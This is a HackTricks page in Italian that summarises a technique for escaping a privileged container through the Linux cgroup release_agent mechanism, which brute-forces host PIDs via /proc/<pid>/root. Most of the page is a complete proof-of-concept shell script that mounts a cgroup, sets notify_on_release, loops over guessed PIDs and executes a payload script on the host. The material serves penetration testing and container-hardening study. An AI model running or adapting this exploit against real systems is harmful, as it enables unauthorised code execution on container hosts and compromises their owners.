release_agent exploit - Relative Paths to PIDs

Support HackTricks

Per ulteriori dettagli controlla il blog post da https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Questo è solo un riassunto:

La tecnica delinea un metodo per eseguire codice host da all'interno di un container, superando le sfide poste dalle configurazioni del driver di archiviazione che oscurano il percorso del filesystem del container sull'host, come Kata Containers o impostazioni specifiche di devicemapper.

Passaggi chiave:

  1. Localizzazione degli ID di processo (PID): Utilizzando il collegamento simbolico /proc/<pid>/root nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host.

  2. PID Bashing: Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in /proc/<pid>/root/<file>. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target.

  3. Attivazione dell'esecuzione: Il percorso PID indovinato viene scritto nel file cgroups release_agent. Questa azione attiva l'esecuzione del release_agent. Il successo di questo passaggio è confermato controllando la creazione di un file di output.

Processo di sfruttamento

Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge:

  1. Inizializzare l'ambiente: Uno script payload (payload.sh) viene preparato sull'host e viene creata una directory unica per la manipolazione del cgroup.

  2. Preparare il payload: Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile.

  3. Impostare il cgroup: Il cgroup viene montato e configurato. Il flag notify_on_release è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato.

  4. Forza bruta PID: Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file release_agent. Questo imposta effettivamente lo script payload come release_agent.

  5. Attivare e controllare l'esecuzione: Per ogni PID, il cgroup.procs del cgroup viene scritto, attivando l'esecuzione del release_agent se il PID è corretto. Il ciclo continua fino a quando non viene trovato l'output dello script payload, indicando un'esecuzione riuscita.

PoC dal blog post:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Supporta HackTricks

Last updated